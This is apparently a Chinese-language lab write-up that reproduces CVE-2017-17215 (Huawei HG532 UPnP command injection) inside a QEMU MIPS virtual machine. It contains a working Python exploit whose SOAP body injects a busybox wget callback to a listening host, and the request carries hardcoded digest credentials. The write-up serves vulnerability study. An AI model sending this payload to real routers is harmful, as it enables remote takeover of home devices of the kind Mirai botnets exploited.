banner
azio7

azio7

email
github

從CVE-2017-17215入門學習qemu路由器固件虛擬機環境搭建

基本信息#

2017.11.27 Check Point 團隊報告華為 HG532 產品的遠程命令執行漏洞 (CVE-2017-17215),Mirai 的升級版變種中已經使用該漏洞。 華為 HG532 是一款小型家用和辦公用戶打造的快速無線路由器。該漏洞 payload 由蜜罐所捕獲發現。利用原理是利用 upnp 服務中的注入漏洞實現任意命令執行。
分析環境是 archlinux
固件下載地址可以在CVE-2017-17215-HG532 命令注入漏洞分析這篇文章找到,下載鏈接
binwalk 解壓(需要安裝 squashfs-tools)

binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin

漏洞點位於 UPnP 服務中,file 命令看一下 unpn 二進制文件,可以看到 upnp 應該是跑在 MIPS 32 位大端
image

配置 qemu 環境並復現漏洞#

archlinux 安裝 qemu:

sudo pacman -S qemu-full qemu-user-static

網絡環境配置使用 qemu 自帶的 qemu-bridge-helper 橋接,相關細節在QEMU-Archwiki中的 6.3.3
首先向/etc/qemu/bridge.conf添加一行allow br0
確保/etc/qemu/的文件權限是 755
然後像這樣啟動 qemu

$ qemu-system-x86_64 -nic bridge [...]

可以這樣指定 bridge

$ qemu-system-x86_64 -nic bridge,br=br1,model=virtio-net-pci [...]

https://people.debian.org/~aurel32/qemu/mips/下載對應的 debian mips qemu 鏡像
下載 debian_squeeze_mips_standard.qcow2 和 vmlinux-2.6.32-5-4kc-malta

啟動腳本 run_qemu.sh:
#!/bin/bash
ip link add name br0 type bridge
ip link set dev br0 up
ip addr add 192.168.123.1/24 dev br0
qemu-system-mips -M malta
-kernel debian/vmlinux-2.6.32-5-4kc-malta
-hda debian/debian_squeeze_mips_standard.qcow2
-append "root=/dev/sda1 console=tty0"
-nic bridge
ip link set dev br0 down
ip link del name br0 type bridge
$ sudo ./run_qemu.sh
root/root 登錄
image
默認 eth0 接口沒有設置 ip
image
使用命令添加 ip

$ ip addr add 192.168.123.2/24 dev eth0

然後順利 ping 通,ssh 連接

$ ssh -oHostKeyAlgorithms=+ssh-rsa [email protected]

傳輸 squashfs-root

$ tar -cvf squashfs-root.tar squashfs-root/
$ scp -r -oHostKeyAlgorithms=+ssh-rsa ./squashfs-root.tar [email protected]:/root/

在虛擬機上解壓

$ tar -xvf squashfs-root.tar

chroot 切換根目錄

$ chroot /root/squashfs-root /bin/sh

運行漏洞點 upnp 服務

$ /bin/upnp
$ /bin/mic

mic 執行到這裡時會修改網卡配置,ssh 斷連
image
在 qemu 的終端重新快速添加 ip 信息,ssh 恢復連接

$ ip addr add 192.168.123.2/24 dev eth0

nmap 顯示 upnp 服務端口已打開
image
宿主機 nc 監聽 80 端口

$ sudo ncat -lk 80

執行 exp.py:

import requests

headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;/bin/busybox wget -g 192.168.123.1 -l /tmp/1;</NewStatusURL>
   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
requests.post('http://192.168.123.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

nc 收到回應
image

載入中......
此頁面數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。